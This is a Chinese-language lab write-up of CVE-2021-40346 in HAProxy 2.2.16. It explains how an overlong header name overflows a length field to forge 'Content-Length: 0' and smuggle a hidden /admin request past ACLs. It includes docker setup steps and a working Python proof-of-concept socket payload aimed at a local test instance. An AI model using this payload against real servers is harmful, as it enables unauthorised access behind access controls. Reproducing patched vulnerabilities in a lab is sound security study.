htx_add_header() 函数未验证头部名称(Header Name)长度而导致的访问控制绕过(ACL Bypass)漏洞。http-request 的路径访问控制规则(例如 path_beg /admin)——该规则即为绕过目标HAProxy 在将 HTTP 头部以内部 HTX 格式存储时,会将头部名称长度记录在 8 位(最大 255)字段中。htx_add_header() 函数缺少对该长度的验证逻辑,因此发送大于等于 256 字节的名称时会发生整数溢出,溢出的位会流入相邻的值长度字段。
将头部名称精确构造为 270 字节(270 mod 256 = 14)后,HAProxy 会将其误认为是 "Content-Length"(14 个字符),并将溢出污染的 1 个字节当作值读取。若在该位置放置 "0",则生成 伪造的 Content-Length: 0 头部。
在此伪造头部之后紧跟真实的 Content-Length 头部发送时,HAProxy 会采用先出现的重复头部(伪造的 0)而丢弃真实值。此时,从客户端读取实际正文的过程仍以原始文本为准正常执行,但传递给后端的头部中记录的是伪造的值(0),导致 “实际接收的正文大小”与“通知后端的大小”不一致。
后端相信通知的大小(0)并认为该请求已结束,随后将原本的正文数据重新解释为一个全新的请求。HAProxy 的 ACL 在此之前仅对原始请求行进行检查,因此隐藏的第二个请求在未经 ACL 检查的情况下到达后端。结果,所有配置的 http-request ACL 均被绕过。
执行 docker compose up --build -d 启动包含漏洞的测试环境(haproxy ver.2.2.16 / backend: gunicorn)
通过以下代码测试 HAProxy 与后端服务器是否正常启动
until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
echo "就绪"
执行 python3 poc.py --host 127.0.0.1 --port 8080 运行 PoC 代码
执行 docker logs cve-2021-40346-backend --tail 5 通过后端访问日志确认 /admin 请求是否被实际处理
import socket
HOST = "127.0.0.1"
PORT = 8080
# 将名称构造为 270 字节,可使 8 位名称长度字段溢出,
# 导致 HAProxy 将其误认为是 "Content-Length: 0" 头部。
fake_name = b"Content-Length" + b"0" + b"a" * 255 # 14 + 1 + 255 = 270 bytes
hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: abc.com\r\n"
+ fake_name + b":\r\n"
+ b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
b"\r\n"
+ hidden_request
)
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(payload)
print(s.recv(4096).decode(errors="replace"))
如上图所示,后端处理了本应被限制访问的 admin 的 GET 请求。
htx_add_header() 中添加了名称/值长度验证逻辑,从根本上修复)